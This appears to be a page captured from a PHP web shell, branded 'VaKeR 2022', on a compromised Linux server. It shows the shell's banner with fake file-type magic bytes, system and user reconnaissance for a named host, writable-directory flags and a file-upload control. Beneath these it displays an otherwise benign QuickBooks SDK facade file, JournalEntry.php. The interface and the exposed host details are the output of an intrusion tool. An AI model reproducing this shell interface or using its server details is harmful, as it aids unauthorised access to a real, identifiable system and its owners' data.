%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/quickbooks/v3-php-sdk/src/Facades/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/quickbooks/v3-php-sdk/src/Facades/JournalEntry.php
<?php
namespace QuickBooksOnline\API\Facades;

class JournalEntry{

    public static function create(array $data, $throwException = TRUE){
        $data = JournalEntry::changeArrayName($data);
        if(!isset($data) || empty($data)) throw new \Exception("Passed array for creating JournalEntry is Empty");
        //QBO should not call the Entity as DataEnityt
        $JournalEntryObject = FacadeHelper::reflectArrayToObject("JournalEntry", $data, $throwException );
        return $JournalEntryObject;
    }

    /**
     * This is an immutable function
     */
    public static function update($objToUpdate, array $data){
        $data = JournalEntry::changeArrayName($data);
        $classOfObj = get_class($objToUpdate);
        if(strcmp($classOfObj, FacadeHelper::simpleAppendClassNameSpace("JournalEntry")) != 0){
            throw new \Exception("Target object class:{" .  $classOfObj . "} is not an instance of JournalEntry.");
        }
        $newJournalEntryObj = JournalEntry::create($data);
        $clonedOfObj = FacadeHelper::cloneObj($objToUpdate);
        FacadeHelper::mergeObj($clonedOfObj, $newJournalEntryObj);
        return $clonedOfObj;
    }


    private static function changeArrayName(&$array){
      if(is_array($array)){
         foreach($array as $key => &$value){
            if(is_array($value)){
               JournalEntry::changeArrayName($value);
            }

            if(strcmp($key, "Entity") == 0){
                 $array["JournalEntryEntity"] = $array["Entity"];
                 unset($array["Entity"]);
            }

            if(strcmp($key, "Type") == 0){
                 $array["JournalEntryType"] = $array["Type"];
                 unset($array["Type"]);
            }

         }
      }

      return $array;
    }

}

VaKeR 2022